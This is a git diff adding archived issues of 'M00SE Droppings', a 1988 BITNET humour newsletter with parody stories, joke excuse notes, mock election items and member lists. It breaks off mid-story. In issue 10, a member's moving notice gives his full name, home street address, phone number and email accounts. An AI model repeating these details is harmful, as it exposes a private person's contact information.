them, whipping back toward the +Hair Girls. As it struck, it ruined their hairstyles, knocking their hair down +into hanging, tattered messes. The immediately dropped the hair dryer and +whined in great agony! + "Oh no!" cried Babs. "My hair's absolutely horrid! *SOB*" + "Now I'll have to get it done again, and that's the third time this +MORNING!" whined Muffy. + "Guys!" yelled Dusk. "The Scum Puppy is getting away!" + "Everyone into the water!" yelled G.A. + As one, the four Large Manly Men cannonballed into the water, causing a +veritable tital wave to rise from the water, grabbing The Scum Puppy and +pulling him into the water. Acting quickly, the Large Manly Men tore the +gold chains from the necks of the Hair Girls and shackled them and The Scum +Puppy. + "A job well done, oh fellow Manly Men!" exclaimed Alacrity. + "Truly a Manly Act!" said G.A. + "And credit to our moll, Dusk, for her part!" voiced Wolverine. + "Yeah, uh, thanks guys...can we get out of here now?" asked Dusk. +================================================================================ + + Author's Note: The author refuses to take responsibility for this story, +as he claims to have been controlled by Demons during the writing of said story. + + +By: Wolverine + + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + + + + May I Be Excused? + --- - -- -------- + + The graduate School of Education at Northern Illinois Universirt, +DeKalb, Illinois, recently collected excuses for absence turned in by students +around the state. A number of these are listed below; the spelling is exactly +as it appeared on the notes: + + Dear School: Pleaes eckuse John for been absent January 28, 29, 30, 32, + and 33. + + Chris has a acre on his side. + + Mary could not come to school because she was bothered by very close veins. + + John has been absent because he had two teeth taken out of his face. + + I kepe Billie home because she had to go Christmas shopping because I didn't + know what size she wear. + + Please excuse Gloria. She has been sick and under the doctor. + + My son is under the doctor's care and should not take P.E. Pleae execute + him. + + Lillie was absent from school yesterday and she had a going over. + + Please excuse Joey Friday. He had loose vowels. + + Please excuse Blanch from Jim today. She is adminstrating. + + My daughter was absent yesterday because she was tired. She spent the + weekend with the marines. + + Please excuse Jimmy for being. It was his father's fault. + + Please excuse Dianna from being absent yesterday. She was in bed with + gramps. + + Mary Ann was absent December 11-15 because she had a fever, sore throat, + headache, and upset stomach. Her sister was also sick, fever, sore throat, + her brother had a low grade fever and acked all over. I wasn't the best + either, sore throat and fever. There must be something going around - + her father even got hot last night. + + + Bl00p! + + Rich + +=============== +I have one to add that I am not making up. When my mother was in grade +school in Gouverneur, a backwater town in upstate NY, there was a young +boy a couple years younger than her who everybody called 'Stinky'. That +was his normal nickname, not an insult. Anyway, one day he had to stay +home from school, as he had a nasty case of diarrhea (sp?). The next day +his mother sent him to school with a note that said: "Stinky wasn't in +school yesterday because he had the shits." + + -Pickle. + +------------------------------------------------------------------------------ + + Recently someone came up with the idea of using "m00se" as a verb, +meaning to join the M00se Illuminati. I have done a bit of thought and +come up with some other words that every m00se should know. + +m00se (v) - 1. to join the M00se Illuminati, 2. to act in a bizzarre manner, + (n) - a member of the M00se Illuminati + +m00sey (adj) - bizarre, and attention-getting + +thr0ng (n) - a group of m00ses + (v) - the act of grouping + +thr0ng-a-thon (n) - a gathering of more than one thr0ng and involving at + least three m00ses. A gathering of two m00ses is commonly + known as a date. + + I hope that's cleared up some points of confusion and created some +new ones. Bl00p!! + Joe Claffey + + +============== +Note: A m00se dictionary might be useful. If anybody comes up with more +m00se terms, send them here and I'll add them in. + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + +Add to the list: + +Connecticut State U thr0ng CRAMER @ CTSTATEU Scopus + +UConn chapter WALLFESH @ UCONNVM Sande diff --git a/textfiles.com/magazines/M00SE/m00se09 b/textfiles.com/magazines/M00SE/m00se09 new file mode 100644 index 00000000..537a65af --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se09 @@ -0,0 +1,234 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #9 | Disclaimer: The Editor will place almost anything | Aug. 26, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Fellow m00ses, the time has come to choose which candidates to support +for the oncoming election. We must choose somebody who will uphold the +values of m00sedom, who will promote the cause of confusion, who is easy +for us to manipulate. Let us consider the choices, and discuss this topic +further on CSBB.M00se. + So far as I have been able to determine, our choices are as follows: + + George Bush: "I will never apologize for America. I don't care + what the facts are." + + Micheal Dukakis: Does anybody have any idea what Dukakis has been + saying? + + Bill the Cat: America's ill, but so is Bill. + + Zippy the Pinhead: Wears a clown suit, has a talent for evading + topics by going off on obscure tangents. Both + good qualifications for the presidency. + + Spuds MacKenzie: Small animal, not as active or as interesting + to look at as the Clydesdales were. Much like + Bush and Dukakis in this respect. Named after + a potato. Bush and Dukakis both resemble potatoes. + + Some guy on MTV: The Bavarian Illuminati calls MTV 'Empty Vee'. + They may be right on this point. + + + If I've left anyone out, let us know on CSBB.M00se. Let the presidential +race begin! + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + + Nothing new, once again. However, we have found the m00se who created +confusion with his unofficial subtitle of Camp Relay II. The one I thought +was official, remember? + +>I was the one with the term Camp Relay II: The Quest for M00se. It was not +>meant to be an official usage..just a joke that I don't even remember when I +>used it. Sorry for all impending confusion. +> +> Beez + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + + Once again, none here. I'm considering ripping off Wolverine's idea +and writing a serial based on the members of the M00se Illuminati, but the +problem of having 60 plus characters discourages me.... + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + +There is PLENTY of nonsense this issue! Our first bit is from Mommydammit, +who writes: + +>Bill, +> +> on the way way to Lake Winola in Pennsylvania, i noticed something +>very suspicious. within two miles of each other are interesting exit names... +> +>such as: +> +> thr00p ( a combination of thr0ng and bl00op!) +> Dickson City +> m00sic +> +>honest and for true. you decide. is it coincedence or....m00sidence? +> +> pamela/mommydammit + +-------------------------------------------------------------------------------- + +This issue also marks the first installment in Rich Simon's Philosophy Corner. +Here it is. + + + Is nothing anything? Is nothing something? + + IS NOTHING SIMPLY NOTHING? + + Frightening, isn't it. . . to think that + maybe, just POSSIBLY nothing is. . . + + JUST NOTHING. + + No more, no less than absolute nil. Nada. + + Zilch. Zero. + + Does that frighten you, to thing that there + might be no more to nothing than simple nothing? + + It's just something to think about. + Or just nothing to think about at all. + Remember: If nothing is anything, + and anything is everything, + + then it stands to reason that + nothing is everything. Therefore you + should worship nothing, for it is + everything. + + + Cut it if you wish, Bill. + But for god's sake don't believe it. + + rich + +-------------------------------------------------------------------------------- + +Beez wrote with lots of nonsensical tidbits. Among them: + +>I located a T-Shirt that had Bullwinkle surfing saying Moose on the Loose. If +>you are interested, just write me.... +> +>Beez is starting the Suave Ladies Man in quite dry clothing Association. It is +>an Anti-Manly Men in Wet Clothing movement. We really have nothing against +>Manly Men, except that we don't like getting wet. PsuedoSensitive Men need not +>apply. Write to Beez (rsrab@suvm) for your free subscription. +> +>(This article was not included in a report by the Daily Orange, the Syracuse +>University newspaper which can't even be considered yellow journalism. This +>copy was obtained thru bribery, torture and sleeping with the Chancellor's +>wife. All characters in this story are meant to be coincidental as blatant +>sarcasm is intended.) +> +>oops...i will submit the story later..I just got a call that university +>security wants to talk to me..looks like Alcatraz for the Beez.. +>ill write to you later...bye guy +> +>Beez + +Incidentally, I haven't heard from Beez since this letter. Does anybody +feel we should prepare for a rescue mission to free him from the clutches +of Security? + +Beez also included two new additions to the M00se Illuminati Dictionary, +begun by Indiana Joe in the last issue. + + + phrase: M00se on the L00se: When a M00se visits a distant thr0ng for party + reasons. + + Phrase: Meese on the Loose: a 80's happening that lead to the destruction of + western Civilization as we know it. No M00ses had + any part of this madness. + +-------------------------------------------------------------------------------- + +Wolverine sent me the following song, which may have relevance in the decision +of who we should back in this election. + +>The following lyrics are to a song written by two radio disk jockeys out in +>Indianapolis, poking fun at Senator Dan Quayle.... + + I Spent The War In Indiana + - ----- --- --- -- ------- + + I spent the war in Indiana + Getting shot was not for me + I never went to 'Nam + I never saw Saigon + I only watched it on TV + + I spent the war in Indiana + I never saw a combat zone + While my buddies hid in foxholes dodging napalm + I was safe inside my Indiana home + + + He spent the war in Indiana + while his neighbors went to fight + He never did a hitch + 'cause his daddy's rich + He was comfy and cozy at night + + I spent the war in Indiana + To the Guard, I was on loan + And the only thing I killed were Hoosier weekends + I was safe inside my Indiana home + + + He spent the war in Indiana + in a summer camp platoon + He never had to fight + and how he's on the right + and he's singing a different tune + +>Well, *I* think it's funny..... +> +>And to quote The Breather from the movie "Student Bodies": +>"What's in a name? EVERYTHING!" + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + +Please add: ENLL6AC @ BUACCA Sabre + +Please remove: BURNS @ MAINE Sabre + CHOBBIE @ SBCCVM Admiral Lord Nelson diff --git a/textfiles.com/magazines/M00SE/m00se10 b/textfiles.com/magazines/M00SE/m00se10 new file mode 100644 index 00000000..7f513508 --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se10 @@ -0,0 +1,237 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #10| Disclaimer: The Editor will place almost anything | Sep. 4, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Well well well how very nice. Issue 10 is now out. And with it, +school has started again at nearly every college and university across the +nation, with the exception of UHa, due to management stupidity or something +like that. So what does this mean? It means that there are now thousands +of people on campuses, with bitnet access. And guess what? MANY OF THESE +PEOPLE AREN'T M00SES. You may be aghast; I know I am. It is our clear +duty to help these people by inviting them into our organization, unless, +of course, you don't want to. And so begins THE ANNUAL FALL M00SE ILLUMINATI +MEMBERSHIP DRIVE. Yes! Convince your friends to be m00ses! After all, +if we're going to confuse the population, there's no better way than to +get the population to help. + On another note, I had an idea to fill up some space in this +newsletter. Let me know what you think. Each issue, starting at the top +of the general list and working our way down, we'll include a *short* ID-file +type thing in the issue from one m00se. This will help us get to know those +m00ses we've never come into personal contact with, and perhaps make the +FBI's job a little easier if they're looking in. Hi guys! So, good idea, +or horrid? + Later, + -Pickle. + +><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< + +<< I mentioned in an earlier letter that James L. Anderson (Andersen?) was +not reachable. Apparently there is a gateway to Fidonet.... >> + +Actually, iif you have the mailer setup correct, you can send to +hogbbs.ffidonet.org... (damn keyboardbounces) and if not you could +try jla%hogbbs.fidonet.org@hcx.psu.edu or @psuhcx.bitnet +that is a valid address on theinternet. + + Bill + +><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< + +<< Kamikaze is again hard at work on MDNET Mk II, a new distribution network +that will hopefully be more efficient and reliable. This is what he needs, +respond to him or me. Please talk with the other m00ses at your node, so +we don't get multiple volunteers. It will make Kami's job that much easier +if we just get one "I'll do it" from each node. >> + +Pickle- + +What I need is a list of one person at each node who is willing to be a +distributor, both for within his/her/its node as well as forwarding copies +to other nodes, where needed. In the case of single person nodes, I need to +know if that one person is willing/able to handle distributing to other nodes. +The network model I am planning on creating will run along the same lines as +how the Relay network runs, when it does. Basically, each distributor will +send copies to all local users, any local nodes, and to the next major node +in the network. It's not firm yet, as I haven't looked at the structure of +where we are all located from this angle. + +this would be so nice if we had a member m00se at cunyvm.... + +Kamikaze + +<< Anybody got a friend at CUNY? Recruit him or her, if you do... >> + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + +<< Wolverine asked me to include his movement announcement in this issue.... >> + +"Papa was a rollin' stone + Wherever he laid his hat was his home..." + + Yes folks, big news indeed. In my never-ending search for that illusive +creature, "A Fruitful and Successful Life", I am moving on to Ithaca, NY. +I will be living with Karen and John Godfrey, and can be reached there. +As for the computer, I will have an account, but until I know what the userid +is, I can be reached at Karen and John's account: B45J@CRNLVAX5. The move +will be taking place this Thursday, so after Wednesday afternoon, send any mail +to that account. To all my friends in the New York area, I'm looking forward +to seeing all you guys and getting the chance to spend time with you, and to all +my friends here in the area, don't forget about me, because I will be in the +area periodically, and I want to keep in touch with all of you. Here's how to +get in touch with me: + +Mail: Frank Orzechowicz + 170 Myers Road + Lansing, NY 14882 + +Phone: (607) 533-7786 [KEEP RUM] + +Bitnet: for now, B45J@CRNLVAX5 + + + I'll be logged on days here at Villanova from now through 4 pm on Weds, +and can be reached here. See you all around. + +"These little town shoes + are longing to stray + I wanna' be a part of it + In New York + And if I can make it there + I'm gonna` make it anywhere + It's up to you New York New York" + +<< Note: Wolverine's account has changed....it is in the update. >> + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + + We have none this issue. I expect some for next issue, however. +And incidentally, for a possible later story, how many of you play Car Wars? +Get in touch with me if you do..... + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + +<< In the continuing expansion of the M00se Illuminati dictionary, this from +GypsyLynx. >> + +footl00se m00se: any m00se who leaves his/her thr0ng and re-locates +within another thr0ng. ie: W0lverine, Guardian Angel. + +><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< + +<< Lord Rassilon reminds us of other presidential candidates. >> + +Don't forget: + +1) Max Headroom + +2) Morris the Cat + +3) Pat Paulsen + +and this year's leading candidate + +4) Mickey Mouse. + +><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>< + +<< Lord Rassilon also sent this to me, although it came to him from another +source.>> + +Propaganda has become almost an art form in recent years. While looking +through a delightful book about people dressed in armor hacking eachother +to pieces, I came across a beautiful chunk of it preceding a war. It comes +in two parts: + +-------------------------------------------------------------------------------- +Part I + +A. We are so numerous that we are starving. + +B. Therefore we must encourage still larger families so as to become yet +more numerous and starving. + +C. When we are so numerous and starving as all that, obviously we shall +have a right to take other people's stores of seed. Besides, we shall by +then have a numerous and starving army. +-------------------------------------------------------------------------------- + +After part one has sunk in, and been employed, and the birth rate has been +trebled, whether anyone is actually starving or not, part two is begun: + +-------------------------------------------------------------------------------- +Part II + +A. We are more numerous than they are, therefore we have a right to their +mash (food). + +B. They are more numerous than we are, therefore they are wickedly trying +to steal our mash. + +C. We are a mighty race and have a natural right to subjugate their puny +one. + +D. They are a mighty race and are unnaturally trying to subjugate our +inoffensive one. + +E. We must attack them in self defense. + +F. They are attacking us by defending themselves. + +G. If we do not attack them today, they will attack us tomorrow. + +H. In any case, we are not attacking them at all. We are offering them +incalculable benefits. +-------------------------------------------------------------------------------- + +Kinda funny how it never sounds quite so ridiculous in real life. + + ---Fader + +------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE ************** +------------------------------------------------------------------------------- + +Please add: + +Stony Brook thr0ng FNORD @ SBCCVM Fnord + +Washington State U. thr0ng 90289872 @ WSUVM1 Cthulhu + + +And make the following changes: + +Wolverine's new address is B45J @ CORNELLA, not CRNLVAX5. He is still part +of the Lansing thr0ng, however. + +Which brings us to the other change.....Lansing is no longer the location +of a chapter, but a thr0ng. diff --git a/textfiles.com/magazines/M00SE/m00se11 b/textfiles.com/magazines/M00SE/m00se11 new file mode 100644 index 00000000..2296897c --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se11 @@ -0,0 +1,574 @@ + _ /\ _ _ /\ _ +/ \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ +\_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + + Issue #11| Disclaimer: The Editor will place almost anything | Sep. 9, 1988 + ---------- in this newsletter out of a frantic desire to fill --------------- + the issue, so don't blame him for the quality or content of the submissions. + Excepting those he may have written himself, the enclosed items do not in any + way represent the Editor's opinions. In fact, let's be real safe, and say that + as far as this newsletter is concerned, he has no opinions at all. Okay? Good. + =============================================================================== + + ----------------------------------------------------------------------------- + ************************** EDITORIALS AND LETTERS *************************** + ----------------------------------------------------------------------------- + + Hello all. As this issue is quite large, I won't include my own +editorial. Also, I haven't written one yet. However, the material in this +issue is (if I may say so) very good, and gives me hope that M00se Droppings +will not die due to a lack of submissions after all. + +<< First, a lost-and-found notice....... >> + + ----------------------------------------------------------------------------- + " " + " Place " + " Photograph " + " Here " + " " + =========================================== + Have you seen this lost M00se? His name is Sabre (aka Eric Burns) and + he has been missing from the Net for some days now. Suspicion has it + that he has been captured by the Brotherhood of Evil Relayers. If you + see him, please notify Wolverine at B45J@CORNELLA with info. There is a + reward. We now take you back to your regularly scheduled program. + ------------------------------------------------------------------------------ + +<< We also have the following letter from Lord Rassilon: >> + + + Here at Wesleyan, the socially-conscious and politically-liberal +are beginning to continue their activities toward Divistment. + + Any information you could furnish about the situation at your +own colleges would be helpful. + +------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************* +------------------------------------------------------------------------------- + +------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ****************************** +------------------------------------------------------------------------------- + +<< THIS one speaks for itself. Please send some reader response, because +the author does not wish to write episode 2 if everyone hates episode 1. >> + + + ***-> The Adventures of Super-M00se <-*** + --- ---------- -- ----- ----- + + by CHAOS Engineer + + Forward- All that follows is pure fiction and fallacy, with most rip-offs + being done on purpose. All puns on purpose and all violations + acknowledged. Any resultant health problems due to reading + these episodes are not the responsibility of the author. + + + Prelude: + + In a forest in Maine, amongst the depths of the tall stands of +pine there was a m00se couple. Not just any m00se couple, mind you. They +had recently just escaped from the evil clutches of the U.S. Government, +after being subject to weird experiments beyond all description. Mrs m00se +was currently in the throes of labour, giving birth to her and Mr. m00se's +first child. It was a momentous event indeed. Soon, the proud couple stood +over their son, but it was obvious that he was not an ordinary m00se. + "Somehow dear, I just don't think our son is a normal m00se. He +looks so much like those men we escaped from." + "You're right, love, but dammit, I just gave birth to the tyke, +and he is our child, no matter what." + "But we can't raise him here. We lack the facilities to raise him +as a proper m00se. We have no choice but to see to it that he receives +an education." + Filled with remorse, Mrs. m00se acknowledged the wisdom of her husband. +Taking the picnic basket they had found on their way here, the m00se couple +put their first born in it, and headed off to the ranger station, filled +with remorse, but buoyed ever so slightly by the knowledge that they were +doing the correct thing. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Ranger Bob Was awakened early that morning by a wailing outside +his door. What in the name of tarnation could it be, he wondered. Stuffing +his feet into his slippers and pulling on his robe, Ranger Bob went to his +door to investigate, when what did he see but a picnic basket on his stoop +with a small babe in it. "What in tarnation's name!" he exclaimed, as he +bent over to pick up the basket, and taking it inside out of the cold morning +air. Odd he thought, no note. Only m00se teeth marks on the basket's handle +(Ranger Bob knew the marks to be m00se teeth marks, since he was indeed +an expert on m00sey things.) Well, I guess I'll just raise him as my own, +thought Ranger Bob. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + As the years wound by, Ranger Bob found out that his adopted son, +Mark Kent (Ranger Bob's full name being Robert Clark Kent), was not an ordinary +boy by any accounts. He grew fast, and was stronger than a normal boy. +Ranger Bob knew that someday he would have to reveal to Mark his mysterious +background. After twenty some odd years had passed, and Mark had completed +college, Ranger Bob sensed that it was now time to tell Mark of his background. + "Mark." + "Yes father" + "I have something to tell you Mark. It concerns your past. I know +that I have told you that you are my adopted son, but there is more. When +I found you, you were on my stoop in a picnic basket that bore no identifying +marks save m00se teeth marks on the handle. I knew these to be m00se teeth +marks since I am an expert on m00sey things, and have passed the m00se lore +onto you as well. Also I have noted that you are much stronger than a normal +man your age, as you are aware. I suspect that you have a hidden past that +neither of us are aware of. Thus, I believe that you should go into the woods +and perform the sacred m00se dance that I taught you and seek to contact +Leviam00se and learn your true origin." + "You believe that this will be of use father?" + "I do my son, since I am wise in the ways of m00sey things, as were +my fathers before me, the sacred m00se lore passed down from generation to +generation." + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Mark ventured out into the pines, taking with him the necessary +items to complete the scared m00se dance. Walking a great distance, Mark +eventually came to the copse his father had told him of. Clearing out the +fire pit, Mark made ready to perform the dance. Make the fire in which +to burn the dried m00se droppings incense. Paint the face in ritual way +of the m00se. Ready, Mark danced and chanted, every so often tossing the +incense into the fire. He felt the power in him rise, and began to feel +light and heady. Soon, he was ready to meditate and complete the ritual +to call upon Leviam00se. + "Leviam00se." nothing + "Leviam00se!" still nothing + "LEVIAM00SE!" bellowed Mark, and he was rewarded. His vision hazed +over, and cleared to the sight of the pyramid. Eleven tiered, with the +single eye and the antlers. Leviam00se. Sitting in a large straight back +chair at the foot of the pyramid was a tall man with the head of a m00se, +the brown fur amply dosed with gray. Strange that Leviam00se should choose +to manifest himself in this way. + "Greetings, Mark, adopted son of Ranger Bob and child of Mr. and +Mrs. m00se." Leviam00se spoke to mark in amazingly good english considering +that the formation of his jaw structure should have made it impossible for +him to do so. + "Greetings O great and wise Leviam00se" replied Mark. "How is it +that you speak such good english when your jaw structure should not allow +you to do so." + "It is a m00sey thing, Mark. You need not concern yourself with +it. But, let us get to the point. You are here at the urgings of your +adopted father to seek your past, so gaze now into the eye of the pyramid +of Leviam00se, and let all be revealed." Mark watched raptly, as he saw +his true mother and father being experimented on by scientists of the U.S. +Government, doing horrible and perverse things to them, saw how they escaped +to the woods where he was born, how he was taken to Ranger Bob to be raised +and educated. The rest he knew, and the spectacle stopped. + "Now Mark, let me continue. You are possessed of great powers, +and must use them to combat the forces of anti-m00sey-ness. Henceforth, +whenever you say my name, the full force of your abilities shall be unleashed, +and the foes of Leviam00se shall tremble in fear at the powers of + + *********** SUPERM00SE *********** + +(for dramatic effect, please imagine that there is a blaring triumphant + fan-fare/symphonic score in place here. Something like Beetohven's fifth + would be appropriate.) + +say now my name, Mark, and feel your power and birth-right." + + Mark stood, feeling a bit perplexed and more than a bit awed at +the immensity of it all, and spoke Leviam00se's name. "Leviam00se!" + There was a sharp peal of thunder, and in Mark's place stood +Superm00se, tall, strong, powerful. A man, tall, powerfully built, garbed +in a very tacky pink suit with the pyramid symbol on the chest in fluorescent +green, but most importantly, with a m00se's head, with a MAGNIFICENT set +of antlers. + "You are now Superm00se, Mark. You must now go forth and battle +as the champion of m00se-kind and those non m00ses oppressed by evil-doers. +You must however, ware well your one weakness. I call it m00se-ite, but +that is not it's true name. It is the foul concoction with which your mother +was injected before your birth. It is a mixture of caffeine free diet +Coke, Illudium Pu-38, Vidal Sasson hair spray, and Limburger cheese, a foul +and devious mixture if ever there was one. It will rob you of your m00sey +abilities. I suggest you avoid holding heavy objects over your head if +you run a good chance of being exposed to it." + "You are very wise, O Leviam00se. It shall be as you say." + "Go now Mark, and do my bidding." Mark's vision became obscured, +and when it cleared, he once again found himself in the clearing, a man +of normal appearance. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Returning home, Mark was met by his father at the door. "How did +it go son?" + "I saw Leviam00se, and he did tell me what I must do, and he gave +unto me my birth-right and full powers. I now know what I must do. I shall +go to Gothopolis, and get a job with _The_Daily_Gonad_ as a mild mannered +reporter. There, I will be able to do battle against those who would seek +to harm and oppress m00se kind." + "Why, that's a noble thing to do son. I wish you luck." + + + +********-> Next episode, watch as Mark goes to Gothopolis and gets a job + and has his first encounter with the evil forces that oppose + m00se kind. + +------------------------------------------------------------------------------- +*************************** MISCELLANEOUS NONSENSE **************************** +------------------------------------------------------------------------------- + +<< And now, for two rather hilarious contributions by Wolverine. I don't know +where they come from originally. >> + + +What with Tom Sellick appearing on Murder She Wrote, Jessica appearing +on Magnum P.I., and characters from Dynasty and Dallas constantly +getting cofused as to which set they should go to, have you ever +wondered what would happen if this was followed to it's natural +end? For example, suppose Captain James T. Kirk met the Roadrunner. +This means, of course, that we must somehow integrate the Saturday +Morning Laws of Physics into the Star Trek universe. + +i.e.: 1) Sentient creatures do not fall until they realize they are + about to. + + 2) Objects fall at a rate inversely proportional to their mass + (otherwise known as "Anything falls faster than an anvil") + +Now, if we assume that this is an effect of the Road Runner, as opposed +to some general joke of the universe (although, I admit I have never +seen an anvil descending over Kirk's head while he was falling), then we +can expect other effects, as well. Notably: + +1) Anything struck by a deadly weapon (presumably including phasers) is +not killed, but merely singed and stunned (somehow "He's covered with +soot, Jim" just doesn't carry, though). + +2) Crewmembers surprised by the Roadrunner jump much higher than gravity +should allow. + +Now, the difficulty here is that there must be some reason for the +encounter. Remembering that the Roadrunner is a fairly self-centered +beast, the motivation for the episode must come from the Federation in +some form. Let us suppose that the Enterprise is doing some sort of +research mission to an unknown planet. I think the Captains Log would +be worth a look: + +Captain's Log, Stardate 54324.5: Starfleet Command has directed the +Enterprise to do a preliminary exploration of planet --- in advance of a +full research team. Scanners report the atmosphere to be breathable, +but are recieving confusing readings with regard to life forms. I am +beaming down with a landing party composed of all our chief officers +except for poor Scotty. + +Supplement: Redshirt Riley has received a head injury, apparently while +exploring under a high rock shelf. He reports only hearing a loud sound +and jumping before being struck. After examination by Dr. McCoy he has +been judged capable of continuing duty. + +Supplement: We have encountered an alien creature on this planet. +While it does not itself seem menacing, a unfortunate occurance took +place when it was present. Specifically, on my orders Lt. Sulu +withdrew his phaser. The creature disappeared leaving a puff of smoke, +immediately following which a loud noise was heard next to Sulu. Sulu +fired, hitting Ens. Chekov. Oddly enough, although Sulu's weapon was +set to stun, Chekov was also covered with a black powder similar to +soot. Mr. Chekov has been sent back to the ship for examination and +quarantine. + +Stardate 54326.2, Mr. Spock reporting: Tricorder readings indicate that +the creature we encountered earlier is constantly moving at great speed +over the surface of the planet. We have encountered the creature once +again. In an attempt to slow the creature for study, I attempted to +fire on it. The creature, however, appeared to move faster than the +phaser beam. Regretfully, the beam struck an outcropping of rock above +the Captain's head, causing it to break off and fall. Although it +appears that several tons of rock fell squarely on the Captain, he was +driven straight into the ground but apparently not seriously injured, +though stunned. The Captain has been beamed up to Sickbay, leaving me +in command of the research party. + +Captain's Log, Stardate 54342.1: The creature is still at large on the +planet surface. While Mr. Spock continues to lead a research party I am +currently at work with Mr. Scott on an Acme Pressure Cooker for our lab, +for when the creature is finally apprehended. + +Captain's Log, stardate 54342.3. The strange occurences that have +dogged the landing party since our arrival at this planet have led me to +believe that the creature is in some way directly responsible for them. +Mr. Chekov and I have both been declared fit for return to duty, though +Dr. McCoy has entered in his medical log that he feels we should be kept +under observation. Mr. Spock has constructed a device which he suspects +should be able to counteract the creature's incredible speed as follows: +We have placed a dish of birdseed out in the open, with several signs +pointing to it. The dish is atop a cleverly concealed trap door, which +will open when any weight falls on it. The creature will then travel a +slide, eventually being deposited in a cage constructed of sheets of +transparent aluminum. We will then be free to analyze it at our +leisure. Meanwhile, I have forbidden all beaming down to the surface of +the planet except on my or Mr. Spock's direct order. + +Captain's Log, supplemental. The plan failed. The creature was indeed +lured by the birdseed, as expected. It sped to the dish, consumed the +bait, and sped off without setting off the trap. Mr. Spock is as +puzzled as I, and has begun tests to discover the flaw in the design. I +have sent out three search parties to see if we can box the creature in, +one headed by Mr. Sulu, one by Mr. Chekov, and one by Sociologist +Xontel. + +Captain's Log, stardate 54342.8. Sociologist Xontel has been +temporarily incapacitated. In pursuing the creature, he and his men +somehow managed to cross the place where Mr. Spock's trap was set just +as he completed the 